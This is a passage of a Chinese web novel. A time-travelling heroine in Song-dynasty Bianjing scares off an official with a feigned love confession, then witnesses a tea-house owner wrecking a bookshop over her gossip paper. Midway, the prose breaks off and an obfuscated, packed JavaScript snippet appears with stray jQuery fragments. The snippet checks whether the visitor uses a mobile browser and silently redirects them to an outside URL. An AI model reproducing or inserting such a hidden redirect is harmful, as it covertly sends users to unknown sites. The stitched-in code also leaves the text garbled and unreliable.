此话一出，犹如平地一声雷，将蒋鹤鸣劈了个外焦里嫩。


    虽然说他平日里是有不少汴京中未出阁的年轻小娘子们喜欢追随他的踪迹，也有人在他出行的时候，向他投掷瓜果鲜花、香囊手帕等物件，以表达爱慕之意。但是像这样赤裸裸，直接说出来的，他还是第一次碰到。


    这小娘子怎如此的大胆。这种话是能向未见过两面的男人直接说出来的吗？


    她也太…太…太不知羞了。蒋鹤鸣心中暗暗羞恼。


    那日虽然救了人上来，但却没有看清那女子面目究竟如何。


    此时两人脸对脸，四目相对，他这才看清那女子相貌。虽身着一袭素色衣衫，身上也没有什么精美首饰。只头上有一只似笔又似簪子的东西，当做发簪挽起了一头青丝。


    她的眼睛亮晶晶的，闪着狡黠的光。就那样直直地望着他的眼睛，像是一下子看进他的心里。


    看着眼前妙龄女子近在咫尺清秀的脸庞，可疑的红晕攀上了蒋鹤鸣两侧的耳朵。


    蒋鹤鸣向后退了两步，结结巴巴道：“你……你莫要胡说……”


    梁悦看蒋鹤鸣那副样子，就知道这纯情少男从未被女子如此大胆的表白过。不过也是，这是在宋朝又不是在现代。那些小娘子们就算再对蒋鹤鸣狂热，也是要注重礼仪廉耻的。他哪经历过现在这架势。


    但是，她梁悦又不是古代女子，要什么礼仪廉耻？先摆脱当下困境才是王道。


    既然你如此怕我表白，那我可就更要得寸进尺了。


    于是梁悦又向前了两步抬头望向他，装作一脸痴情的模样。


    “自从上次蒋公子从孙府的打探春宴上救了我，我便对蒋公子一见倾心，忍不住打听蒋公子的行踪，想多去和蒋公子亲近，这才不可自控地跟着蒋公子一路来至此处。却不想让蒋公子误会了，还让蒋公子受到了惊吓，小女子真是罪该万死。”


    梁悦低下头，一副自责的模样，像是随时就要哭出来，十分惹人怜。


    蒋鹤鸣正欲开口说话，却见她又抬起头来眼神坚定，一步步向他逼近。


    “我已在观音像前立下誓言，这辈子非蒋公子不嫁。”


    梁悦一步步地逼近，而蒋鹤鸣一步步地被她逼着节节后退，直到退无可退，后背“咚”地一下，贴在了墙壁上。他慌乱地左右扭头，这下没路可退了。


    梁悦趁势将右手掌抵住墙面，将蒋鹤鸣禁锢在她并不宽厚的臂弯里，来了个壁咚。


    这下子形势反转了。


    攻退两方互换。


    非他不嫁？


    蒋鹤鸣的脸一下子造了个通红，像是煮熟的螃蟹一般。


    “你、你，我、我，男儿当以建功立业为重，在下暂时不考虑娶妻的事情。”支支吾吾了半天，他只憋出了这么一句。


    没想到才华横溢的探花郎也有结巴的一天。梁悦内心暗喜，但是表面上还要装着一副被拒绝后委屈的模样：“我知道，小女身份卑微，若蒋公子不嫌弃。小女愿为奴为婢，日夜贴身跟随着蒋公子以报救命之恩。不要名分也可。”


    还要日夜贴身跟随他？还不要名分也可？


    这小娘子的语言可太生猛了，句句字字都在他的意料之外。而且两人近在咫尺，呼吸可闻，男女授受不亲啊。


    这下羞得他手脚都不知道该往哪儿放了，也忘了他此番前来的目的。


    “不必不必了。区区小事，不足挂齿。不用放在心上的，也不用报答。”


    蒋鹤鸣瞅准空隙，丢下了这句话，便面红耳赤、脚步慌乱地逃走了。


    再不逃走，还不知道这女子要爆出怎样的惊世骇俗之言。


    看着蒋鹤鸣落荒而逃的背影，梁悦微微一笑。


    小样，还想跟我斗！


    明书和一众护卫在巷子外等了许久，只看到自家郎君一人面色潮红，急急忙忙地钻进马车。明书左右探头看了一下蒋鹤鸣的周围，并无第二个人。


    “郎君，那女探子呢？”明叔不由好奇地发问。照他的预想，应该是郎君给那女探子好一顿教育，那女探子洗心革面，痛哭流涕地过来认错，向他们表示以后要痛改前非才对。怎么现在就郎君一人回来了，而且郎君这满面通红是怎么回事？


    “走了。”蒋鹤鸣有一些心不在焉的回答。


    “走了？”明叔有些不敢置信，他明明看到那女子被他们逼入了那暗巷。那暗巷墙高五尺，就算那女探子能翻过一道，但是暗巷后面绵延起伏的尽是高楼，她总不能真有那飞天遁地的本领不成？


    看着郎君那一副目光闪烁的样子，明书越发疑惑起来，郎君九尺男儿总不能连一个女子都看不住。郎君脸上还有可疑的红色。


    明书斗胆伸手一摸，郎君脸上竟然还是滚烫的，他急急忙忙地问：“郎君，你这是被人下药了吗？”


    听闻那些三教九流的人素来是有一些下作的手段。常有一些拍花子之类的人用药粉去迷晕一些女子幼童，再把他们拐走。他家郎君这样子怕不是被那女探下药了吧？


    下药？那倒是没有。但是他又不能和明书说他是被那女子大胆表白了，还被人逼到了墙角。他这才落荒而逃的。


    这，这也太丢脸了。


    “不碍事不碍事，先回府吧，今日之事你别与旁人说。”


    ————


    这下子打草惊蛇了，都得有一段时间不能再去跟踪蒋鹤鸣了。梁悦一边赶着雇来的牛车一边盘算着。


    蒋鹤鸣现在是被她唬住了，一下子没反应过来。等过几日他回过神来，定是要追究起来的。这段时间她还是乖乖夹起尾巴做人，不能再去蒋府门口蹲守，尾随蒋鹤鸣去打听蒋鹤鸣的行踪了。


    换个羊薅羊毛的计划又给梁悦重拾起来。这只羊薅得差不多了，得换一只了。但是下一只羊该选谁呢？她还是得去打听打听，如今这汴京除了蒋鹤鸣，还有没有与蒋鹤鸣一样比肩的公众人物或者是百姓们都关注的事情。毕竟做生意嘛，还得去调查一下市场。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485285|169793||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    正盘算着呢，不知不觉中就来到了马氏书肆门口。


    “哐当——”


    还没等梁悦走近便听到里面传来了一阵打砸东西的声音。


    紧接着更为激烈的争吵声从马氏书肆里间传来。


    “唉唉，你这是做什么啊！唉，别砸我的吃饭家伙啊！”马老板哀求的声音出来，丁里咣当地一阵砸，让他好不心疼。


    “姓马的我告诉你，你要是再敢在小报上胡说八道，我就把你整个店都烧了！”


    那男人声音激烈亢奋，愤怒地威胁道。


    “小报？”梁悦正欲踏进去马氏书肆的脚又退了回来。这里面好像涉及到她的汴京轶事报了，她还是别急着进去吧。


    激烈的争吵声和打砸声很快便吸引来了一层又一层的看客。那些路过的行人、街坊邻居们、附近开店的、支摊的纷纷驻足的驻足，派人瞧热闹的瞧热闹。竟然将那马氏书肆门口围了个水泄不通。


    “唉，我听这声音倒像是城东茶肆的陈掌柜。”隔壁茶摊卖茶水的婆子耳朵尖，首先听出来那男声是谁。


    “你是说，来砸店的是当初那汴京轶事报第一期写的，那个与卖瓜的王婆有一腿的那个陈掌柜？”其中一个卖烧饼的小摊贩搭上了她的话，有些怀疑，“你听的真切吗？别年纪大了耳朵不行，听错了。”


    “错不了错不了，你别看老婆子我年纪大，我耳朵可尖着呢。”那卖茶的婆子拍着胸脯保证，“我经常去他那里买一些碎散的茶叶末呢。这就是他的声音，一准错不了！”


    完了，竟是当事人上门砸场子来了！


    梁悦决定按兵不动，先不能急着进去，得看看事情发展状况再说。于是她反而愈发地将自己的身子隐在人群中。


    汴京人常于午时食饭，而此刻正值午时三刻，众人用完饭不久，书肆里的客人也少，只有马老板和几个做工的伙计在。


    马老板正指挥着伙计加印书籍和小报呢，只见那陈掌柜带着茶楼里的几个伙计气势汹汹地闯了进来，不由分说地就开始砸马氏书肆里的东西。将那书肆里间今日刚印好的书和小报撕碎往天上一抛。


    碎纸如雪花般纷纷坠落下。


    马老板先是被这突如其来的闯进来的一伙人唬住了，刚开口询问：“有何贵干？”


    话还没说完，这伙人便如强盗一般打砸起来。


    当满天碎纸飘落在他身上时，他才如梦初醒般地赶紧拉着伙计们去拦住那些人。


    “快住手、快住手，你们这是在做什么？我的天爷啊，我新印好的书啊！”马老板心疼不已，这纸张可金贵着呢。俗话说“一页宋纸一两金”，这纸张向来珍贵，更何况他是开书肆的，纸张可是他这里最值钱的家伙！


    “你们这群人是强盗吗？居然敢来砸我的场子！”


    “砸的就是你的场子！”为首的中年男子，也就是卖茶婆子口中的陈掌柜，抽出身旁的黄木椅子坐下，恶狠狠地吩咐手下：“不许停！继续给我砸！”